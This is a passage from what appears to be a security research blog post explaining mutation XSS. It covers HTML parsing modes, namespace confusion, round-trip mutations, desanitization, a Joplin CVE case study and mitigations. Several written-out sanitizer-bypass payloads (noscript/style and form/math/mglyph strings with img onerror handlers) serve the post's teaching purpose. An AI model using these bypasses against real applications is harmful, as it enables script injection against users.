proper HTML sanitizer. The goal of an HTML sanitizer is to ensure that user-generated content, such as text input or data obtained from external sources, does not pose any security risks or disrupt the intended functionality of a website or application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the main challenges in implementing an HTML sanitizer lies in the complex nature of HTML itself. HTML is a versatile language with a wide range of elements, attributes, and potential combinations that can affect the structure and behavior of a webpage. Parsing and analyzing HTML code accurately while preserving its intended functionality can be a daunting task.&lt;/p&gt;&lt;h3&gt;HTML&lt;/h3&gt;&lt;p&gt;Before getting into the subject of mXSS, let&amp;#x27;s first have a look at HTML, the markup language that forms the foundation of web pages. Understanding HTML&amp;#x27;s structure and how it works is crucial since mXSS (mutation Cross-Site Scripting) attacks utilize quirks and intricacies of HTML.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;HTML is considered a tolerant language because of its forgiving nature when it encounters errors or unexpected code. Unlike some stricter programming languages, HTML prioritizes displaying content even if the code isn&amp;#x27;t perfectly written. Here&amp;#x27;s how this tolerance plays out:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a broken markup is rendered, instead of crashing or displaying an error message, browsers attempt to interpret and fix the HTML as best as they can, even if it contains minor syntax errors or missing elements. For instance, opening the following markup in the browser &lt;code&gt;&amp;lt;p&amp;gt;test&lt;/code&gt; will execute as expected despite missing a closing &lt;code&gt;p&lt;/code&gt; tag. When looking at the final page’s HTML code we can see that the parser fixed our broken markup and closed the &lt;code&gt;p&lt;/code&gt; element by itself: &lt;code&gt;&amp;lt;p&amp;gt;test&amp;lt;/p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Why it&amp;#x27;s Tolerant:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Accessibility:&lt;/strong&gt; The web should be accessible to everyone, and minor errors in HTML shouldn&amp;#x27;t prevent users from seeing the content. Tolerance allows for a wider range of users and developers to interact with the web.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Flexibility:&lt;/strong&gt; HTML is often used by people with varying levels of coding experience. Tolerance allows for some sloppiness or mistakes without completely breaking the page&amp;#x27;s functionality.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Backward Compatibility:&lt;/strong&gt; The web is constantly evolving, but many existing websites are built with older HTML standards. Tolerance ensures that these older sites can still be displayed in modern browsers, even if they don&amp;#x27;t adhere to the latest specifications.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But how&lt;strong&gt; &lt;/strong&gt;does&lt;strong&gt; &lt;/strong&gt;our HTML parser know in which way to “fix” a broken markup? Should &lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&lt;/code&gt; become&lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; ?&lt;br/&gt;To answer this question there is a well-documented &lt;a href=&quot;https://html.spec.whatwg.org/&quot;&gt;HTML specification&lt;/a&gt;, but unfortunately, there are still some ambiguities that result in different HTML parsing behaviors even between major browsers today.&lt;/p&gt;&lt;h3&gt;Mutation&lt;/h3&gt;&lt;p&gt;OK, so HTML can tolerate broken markup how is this relevant? &lt;/p&gt;&lt;p&gt;The M in mXSS stands for “mutation”, and mutation in HTML is any kind of change made to the markup for some reason or another.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;When a parser fixes a broken markup (&lt;code&gt;&amp;lt;p&amp;gt;test&lt;/code&gt; → &lt;code&gt;&amp;lt;p&amp;gt;test&amp;lt;/p&amp;gt;&lt;/code&gt;), that&amp;#x27;s a mutation. &lt;/li&gt;&lt;li&gt;Normalizing attribute quotes (&lt;code&gt;&amp;lt;a alt=test&amp;gt;&lt;/code&gt; → &lt;code&gt;&amp;lt;a alt=”test”&amp;gt;&lt;/code&gt;), that&amp;#x27;s a mutation.&lt;/li&gt;&lt;li&gt;Rearranging elements (&lt;code&gt;&amp;lt;table&amp;gt;&amp;lt;a&amp;gt;&lt;/code&gt; → &lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;table&amp;gt;&amp;lt;/table&amp;gt;&lt;/code&gt;), that&amp;#x27;s a mutation&lt;/li&gt;&lt;li&gt;And so on…&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;mXSS takes advantage of this behavior in order to bypass sanitization, we will showcase examples in the technical details.&lt;/p&gt;&lt;h2&gt;HTML Parsing Background&lt;/h2&gt;&lt;p&gt;Summarizing HTML parsing, a 1500~ page-long &lt;a href=&quot;https://html.spec.whatwg.org/&quot;&gt;standard&lt;/a&gt;, into one section is not realistic. However, due to its importance for understanding in-depth mXSS and how payloads work, we must cover at least some major topics. To make things easier, we&amp;#x27;ve developed an &lt;a href=&quot;https://sonarsource.github.io/mxss-cheatsheet/&quot;&gt;mXSS cheatsheet&lt;/a&gt; (coming later in this blog) that condenses the hefty standard into a more manageable resource for researchers and developers.&lt;/p&gt;&lt;h3&gt;Different content parsing types&lt;/h3&gt;&lt;p&gt;HTML isn&amp;#x27;t a one-size-fits-all parsing environment. Elements handle their content differently, with seven distinct &lt;a href=&quot;https://html.spec.whatwg.org/#elements-2&quot;&gt;parsing modes&lt;/a&gt; at play. We&amp;#x27;ll explore these modes to understand how they influence mXSS vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#void-elements&quot;&gt;void elements&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;area&lt;/code&gt;, &lt;code&gt;base&lt;/code&gt;, &lt;code&gt;br&lt;/code&gt;, &lt;code&gt;col&lt;/code&gt;, &lt;code&gt;embed&lt;/code&gt;, &lt;code&gt;hr&lt;/code&gt;, &lt;code&gt;img&lt;/code&gt;, &lt;code&gt;input&lt;/code&gt;, &lt;code&gt;link&lt;/code&gt;, &lt;code&gt;meta&lt;/code&gt;, &lt;code&gt;source&lt;/code&gt;, &lt;code&gt;track&lt;/code&gt;, &lt;code&gt;wbr&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#the-template-element-2&quot;&gt;the &lt;code&gt;template&lt;/code&gt; element&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;template&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#raw-text-elements&quot;&gt;Raw text elements&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;script&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt;, &lt;code&gt;noscript&lt;/code&gt;, &lt;code&gt;xmp&lt;/code&gt;, &lt;code&gt;iframe&lt;/code&gt;, &lt;code&gt;noembed&lt;/code&gt;, &lt;code&gt;noframes&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#escapable-raw-text-elements&quot;&gt;Escapable raw text elements&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;textarea&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#foreign-elements&quot;&gt;Foreign content elements&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;svg&lt;/code&gt;, &lt;code&gt;math&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#plaintext-state&quot;&gt;Plaintext state&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;plaintext&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/#normal-elements&quot;&gt;Normal elements&lt;/a&gt;&lt;ul&gt;&lt;li&gt;All other allowed HTML elements are normal elements.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can fairly easily demonstrate a difference between parsing types using the following example:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Our first input is a &lt;code&gt;div&lt;/code&gt; element, which is a “normal element” element: &lt;br/&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;a alt=&amp;quot;&amp;lt;/div&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;On the other hand, the second input is a similar markup using the &lt;code&gt;style&lt;/code&gt; element instead (which is a “raw text”):&lt;br/&gt;&lt;code&gt;&amp;lt;style&amp;gt;&amp;lt;a alt=&amp;quot;&amp;lt;/style&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Looking at the parsed markup we can clearly see the parsing differences:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1e517d7c-0f50-4e4b-843e-6439eb5df7fd/div_example.png&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/536509f3-2f78-4bda-adbe-42afae1a5774/style_example.png&quot; /&gt;&lt;p&gt;The content of the &lt;code&gt;div&lt;/code&gt; element is rendered as HTML, an &lt;code&gt;a&lt;/code&gt; element is created. What seems to be a closing &lt;code&gt;div&lt;/code&gt; and an &lt;code&gt;img&lt;/code&gt; tag is actually an attribute value of the &lt;code&gt;a&lt;/code&gt; element, thus rendered as &lt;code&gt;alt&lt;/code&gt; text for the &lt;code&gt;a&lt;/code&gt; element and not HTML markup. In the &lt;code&gt;style&lt;/code&gt; example, the content of the &lt;code&gt;style&lt;/code&gt; element is rendered as raw text, so no &lt;code&gt;a&lt;/code&gt; element is created, and the alleged attribute is now normal HTML markup.&lt;/p&gt;&lt;h3&gt;Foreign content elements&lt;/h3&gt;&lt;p&gt;HTML5 introduced new ways to integrate specialized content within web pages. Two key examples are the &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;math&amp;gt;&lt;/code&gt; elements. These elements leverage distinct namespaces, meaning they follow different parsing rules compared to standard HTML. Understanding these different parsing rules is crucial for mitigating potential security risks associated with mXSS attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s take a look at the same example as before but this time encapsulated inside an &lt;code&gt;svg&lt;/code&gt; element:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;style&amp;gt;&amp;lt;a alt=&amp;quot;&amp;lt;/style&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/23ce767b-f968-4fd6-9816-5891a98dae74/style_in_svg.png&quot; /&gt;&lt;p&gt;In this case, we do see an &lt;code&gt;a&lt;/code&gt; element being created. The &lt;code&gt;style&lt;/code&gt; element doesn’t follow the “raw text” parsing rules, because it is inside a different namespace. When residing within an SVG or MathML namespace, the parsing rules change and no longer follow the HTML language.&lt;/p&gt;&lt;p&gt;Using namespace confusion techniques (such as &lt;a href=&quot;https://research.securitum.com/dompurify-bypass-using-mxss/&quot;&gt;DOMPurify 2.0.0 bypass&lt;/a&gt;) attackers can manipulate the sanitizer to parse content in a different way than how it will be rendered eventually by the browser, evading detection of malicious elements.&lt;/p&gt;&lt;h2&gt;From Mutations to Vulnerabilities&lt;/h2&gt;&lt;p&gt;Often times the mXSS term is used in a broad way when covering various sanitizer bypasses. For better understanding, we will split the general term “mXSS” into 4 different subcategories&lt;/p&gt;&lt;h3&gt;Parser differentials&lt;/h3&gt;&lt;p&gt;Though parser differentials can be referred to as usual sanitizer bypass, sometimes it is referred to as mXSS. Either way, an attacker can take advantage of a parser mismatch between the sanitizer’s algorithm vs the renderer’s (e.g. browser). Due to the complexity of HTML parsing, having parsing differentials doesn’t necessarily mean that one parser is wrong while the other is right. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s take for example the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/scripting.html#the-noscript-element&quot;&gt;noscript&lt;/a&gt; element, ​​the parsing rule for it is: “If the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#scripting-flag&quot;&gt;scripting flag&lt;/a&gt; is enabled, switch the tokenizer to the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#rawtext-state&quot;&gt;RAWTEXT state&lt;/a&gt;. Otherwise, leave the tokenizer in the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#data-state&quot;&gt;data state&lt;/a&gt;.” (&lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#parsing-html-fragments&quot;&gt;link&lt;/a&gt;) Meaning, that depending on whether JavaScript is disabled or enabled the body of the &lt;code&gt;noscript&lt;/code&gt; element is rendered differently. It is logical that JavaScript would not be enabled in the sanitizer stage but will be in the renderer. This behavior is not wrong by definition but could cause &lt;a href=&quot;https://checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach/&quot;&gt;bypasses&lt;/a&gt; such as: &lt;code&gt;&amp;lt;noscript&amp;gt;&amp;lt;style&amp;gt;&amp;lt;/noscript&amp;gt;&amp;lt;img src=x onerror=”alert(1)”&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;JS disabled:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6ab8cfe3-db5d-4bf5-b36c-6acc2f5d0e95/noscript_1.png&quot; /&gt;&lt;p&gt;JS enabled:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/079990b6-5ba2-4e77-9cbc-6bf2aafbfab7/noscript_2.png&quot; /&gt;&lt;p&gt;Many other parser differentials, such as different HTML versions, content type mismatches, and more, could occur.&lt;/p&gt;&lt;h3&gt;Parsing round trip&lt;/h3&gt;&lt;p&gt;Parsing round trip is a well-known and &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#serialising-html-fragments&quot;&gt;documented&lt;/a&gt; phenomenon, that says: “It is possible that the output of this algorithm if parsed with an &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#html-parser&quot;&gt;HTML parser&lt;/a&gt;, will not return the original tree structure. Tree structures that do not roundtrip a serialize and reparse step can also be produced by the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#html-parser&quot;&gt;HTML parser&lt;/a&gt; itself, although such cases are typically non-conforming.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Meaning that according to the number of times we parse an HTML markup the resulting DOM tree could change. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;Let&amp;#x27;s take a look at the official example provided in the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#serialising-html-fragments&quot;&gt;specification&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But first, we need to understand that a &lt;code&gt;form&lt;/code&gt; element cannot have another &lt;code&gt;form&lt;/code&gt; nested inside of it: “Content model: Flow content, but with&lt;strong&gt; no form element descendants.&lt;/strong&gt;“ (as written in the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/forms.html#the-form-element&quot;&gt;specs&lt;/a&gt;)&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/297b3f03-8e26-464d-be55-c2ea1910d2f0/form_docs.png&quot; /&gt;&lt;p&gt;But if we just continue to read the documentation they give an example of how &lt;code&gt;form&lt;/code&gt; elements can be nested, by the following markup:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;form id=&quot;outer&quot;&gt;&lt;div&gt;&lt;/form&gt;&lt;form id=&quot;inner&quot;&gt;&lt;input&gt;

html
├── head
└── body
    └── form id=&quot;outer&quot;
        └── div
            └── form id=&quot;inner&quot;
                └── input&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;&amp;lt;/form&amp;gt;&lt;/code&gt; is ignored because of the unclosed &lt;code&gt;div&lt;/code&gt; and the &lt;code&gt;input&lt;/code&gt; element will be associated with the inner &lt;code&gt;form&lt;/code&gt; element. Now, if this tree structure is serialized and reparsed, the &lt;code&gt;&amp;lt;form id=&amp;quot;inner&amp;quot;&amp;gt;&lt;/code&gt; start tag will be ignored, and so the &lt;code&gt;input&lt;/code&gt; element will be associated with the outer &lt;code&gt;form&lt;/code&gt; element instead.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&quot;outer&quot;&gt;&lt;div&gt;&lt;form id=&quot;inner&quot;&gt;&lt;input&gt;&lt;/form&gt;&lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;

html
├── head
└── body
    └── form id=&quot;outer&quot;
        └── div
            └── input&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attackers can use this behaviour to create namespace confusion between the sanitizer and the renderer resulting in bypasses such as:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form&amp;gt;&amp;lt;math&amp;gt;&amp;lt;mtext&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;form&amp;gt;&amp;lt;mglyph&amp;gt;&amp;lt;style&amp;gt;&amp;lt;/math&amp;gt;&amp;lt;img src onerror=alert(1)&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Credit &lt;a href=&quot;https://twitter.com/SecurityMB&quot;&gt;@SecurityMB&lt;/a&gt;, covered in-depth &lt;a href=&quot;https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Desanitization&lt;/h3&gt;&lt;p&gt;Desanitization is a crucial mistake made by applications when interfering with the sanitizer’s output before sending it to the client, essentially undoing the work of the sanitizer. Any small change to the markup could have a major impact on the final DOM tree, resulting in a bypass of the sanitization. We’ve discussed this issue before in a &lt;a href=&quot;https://www.youtube.com/watch?v=V-DdcKADnFk&quot;&gt;talk at Insomni’Hack&lt;/a&gt; and several blog posts, where we identified vulnerabilities in various applications, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Pitfalls of Desanitization: Leaking Customer Data from osTicket&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Put Proton Mails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw/&quot;&gt;Remote Code Execution in Tutanota Desktop due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;Code Vulnerabilities Put Skiff Emails at Risk&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here is an example of desanitization, an application takes the sanitizer output and renames the &lt;code&gt;svg&lt;/code&gt; element to &lt;code&gt;custom-svg&lt;/code&gt;, this changes the namespace of the element and could cause XSS when re-rendering.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f00683c5-7efc-436f-962b-8a08f60b77d6/desanitization.png&quot; /&gt;&lt;h3&gt;Context-dependent&lt;/h3&gt;&lt;p&gt;HTML parsing is complex and can be different depending on the context. For example, parsing a whole document is different from fragment parsing in Firefox (see &lt;a href=&quot;https://sonarsource.github.io/mxss-cheatsheet/#Browser%20specific&quot;&gt;&lt;em&gt;Browser Specific&lt;/em&gt;&lt;/a&gt; section on the cheatsheet). Dealing with the change from sanitizing to rendering in the browser, developers might mistakenly change the context in which the data is rendered causing parsing differential and eventually bypassing the sanitizer. Because third-party sanitizers are not aware of the context in which the result will be put, they cannot address this problem. This is aimed to be solved when browsers implement a built-in sanitizer (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API&quot;&gt;Sanitizer API&lt;/a&gt; effort).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, an application sanitizes an input, but when embedding it into the page, it encapsulates it in SVG, changing the context to an SVG namespace.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3849f823-baf7-4fae-9943-6461579d6334/context_switch.png&quot; /&gt;&lt;h2&gt;mXSS Case Studies&lt;/h2&gt;&lt;p&gt;While we have published blog posts in the past covering mXSS vulnerabilities, such as &lt;a href=&quot;https://www.sonarsource.com/blog/reply-to-calc-the-attack-chain-to-compromise-mailspring/&quot;&gt;Reply to calc: The Attack Chain to Compromise Mailspring&lt;/a&gt;, we have also reported various sanitizer bypasses, such as &lt;a href=&quot;https://github.com/mganss/HtmlSanitizer&quot;&gt;mganss/HtmlSanitizer&lt;/a&gt; (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-44390&quot;&gt;CVE-2023-44390&lt;/a&gt;), &lt;a href=&quot;https://github.com/TYPO3/html-sanitizer&quot;&gt;Typo3&lt;/a&gt; (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-38500&quot;&gt;CVE-2023-38500&lt;/a&gt;), &lt;a href=&quot;https://github.com/OWASP/java-html-sanitizer&quot;&gt;OWASP/java-html-sanitizer&lt;/a&gt;, and more. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But let&amp;#x27;s take a look at one simple case study in a software named Joplin (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33726&quot;&gt;CVE-2023-33726&lt;/a&gt;), a note-taking desktop app written in electron. Due to unsafe electron configurations, JS code in Joplin can use Node internal functionalities enabling an attacker to execute arbitrary commands on the machine. &lt;/p&gt;&lt;p&gt;The origin of the vulnerability resides in the sanitizer’s parser, which parses untrusted HTML input via the &lt;a href=&quot;https://www.npmjs.com/package/htmlparser2&quot;&gt;htmlparser2&lt;/a&gt; npm package. The package itself claims that they don’t follow the specification and prefers speed over accuracy: “If you need strict HTML spec compliance, have a look at &lt;a href=&quot;https://github.com/inikulin/parse5&quot;&gt;parse5&lt;/a&gt;.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Very quickly we noticed ways that this parser doesn’t follow the specification. With the following input, we can see that the parser is oblivious to different namespaces.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/af0611b7-6118-4435-bf99-b63277a8b536/htmlparser2_differential.png&quot; /&gt;&lt;p&gt;While the sanitizer’s parser doesn’t render the &lt;code&gt;img&lt;/code&gt; element, the renderer does. This is an example of &lt;a href=&quot;#parser-differentials&quot;&gt;Parser Differential&lt;/a&gt;, an attacker can simply add &lt;code&gt;onerror&lt;/code&gt; event handler which will execute arbitrary code when a victim opens a malicious note.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6f47825d-9f4d-492a-bfbb-5f3108824ca0/joplin_calc.png&quot; /&gt;&lt;p&gt;This specific finding was also found independently by &lt;a href=&quot;https://github.com/maple3142&quot;&gt;@maple3142&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Mitigation&lt;/h2&gt;&lt;p&gt;Unfortunately, there is not one simple mitigation solution. We encourage developers to understand this bug class in depth so that they can make a better decision about how to mitigate this issue according to their application. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our research, we came across a number of mitigation approaches and security measures that developers took in order to tackle the issue of mXSS (also available in the cheatsheet):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Sanitize client side&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;This is probably the &lt;strong&gt;most important rule to follow&lt;/strong&gt;. Using sanitizers that run on the client side, such as &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, avoids parser differentials risk. Due to the complexity of parsing and most likely serving content to different parsers (Firefox vs Chrome vs Safari etc…), it is impossible to avoid differentials when HTML is parsed not in the same place where the content is eventually rendered. For that reason, server-side sanitizers are prone to fail.&lt;/li&gt;&lt;li&gt;When using Server-Side Rendering (SSR) with a client-side JS framework, it can be easy to drop in libraries like &lt;a href=&quot;https://www.npmjs.com/package/isomorphic-dompurify&quot;&gt;isomorphic-dompurify&lt;/a&gt;. They let client-side sanitizers like &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt; “just work” in SSR mode. But to achieve this, they also introduce a server-side HTML parser like &lt;a href=&quot;https://www.npmjs.com/package/jsdom&quot;&gt;jsdom&lt;/a&gt;, which introduces parser differential risks. The safest option for web apps using SSR is to disable SSR for user-controlled HTML and defer the sanitization and rendering to the client-side only.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Don’t reparse&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;In order to avoid “Round trip mXSS” the application can insert the sanitized DOM tree directly into the document unlike serializing and re-rendering the content. &lt;br/&gt;&lt;strong&gt;Note&lt;/strong&gt; that this approach can be done only when the sanitizers are implemented on the client side and might cause unexpected behaviors (such as rendering content differently due to not adapting to the context of the page).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Always encode or delete raw content &lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Because the idea of mXSS is to figure out a way for a malicious string to be rendered as raw text in the sanitizer but parsed as HTML later, not allowing/encoding any raw text in the sanitizer stage would make it impossible to re-render it as HTML.&lt;br/&gt;&lt;strong&gt;Note&lt;/strong&gt; that this could break some things such as CSS code.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Not supporting foreign content elements&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Not supporting foreign content elements (&lt;strong&gt;deleting svg/math elements and their content not renaming&lt;/strong&gt;) in your sanitizers reduces complexity significantly.&lt;br/&gt;&lt;strong&gt;Note&lt;/strong&gt; this doesn’t mitigate mXSS but offers a precaution step.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Support for sanitizing foreign elements by parent namespace checks. &lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A more complex solution to namespace confusion is implementing parent namespace checks, and deleting any elements that are in the wrong namespace. An example of this implementation can be found &lt;a href=&quot;https://github.com/cure53/DOMPurify/pull/495&quot;&gt;here&lt;/a&gt; written by &lt;a href=&quot;https://twitter.com/SecurityMB&quot;&gt;@SecurityMB&lt;/a&gt;.&lt;br/&gt;&lt;strong&gt;Note&lt;/strong&gt; it is still relevant to make sure that the context of the sanitizer’s tree does not change when embedding the output on the final page. e.g. sanitizing a DOM tree in an HTML namespace and then embedding the output into an &lt;code&gt;svg&lt;/code&gt; tag might cause a sanitization bypass.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Future&lt;/h2&gt;&lt;p&gt;Such a complex subject with no simple solution, is there a bright future? &lt;/p&gt;&lt;p&gt;The answer is yes, luckily there are a number of proposals and actions taken in order to put this bug class to an end or at least address it officially.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The biggest problem today is that the responsibility of sanitizing untrusted HTML input falls on third-party developers, whether it&amp;#x27;s the application devs or sanitizer devs. This is impractical due to the complexity of the task and the fact that they would need to address different renderer parsers (different users use other browsers) and keep up to date with the evolving HTML specifications. A more correct way to approach this is making it the renderer’s responsibility to make sure there is no malicious content in the markup. Having a built-in sanitizer in the browser for example could eliminate most if not all bypasses we see up to this day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a 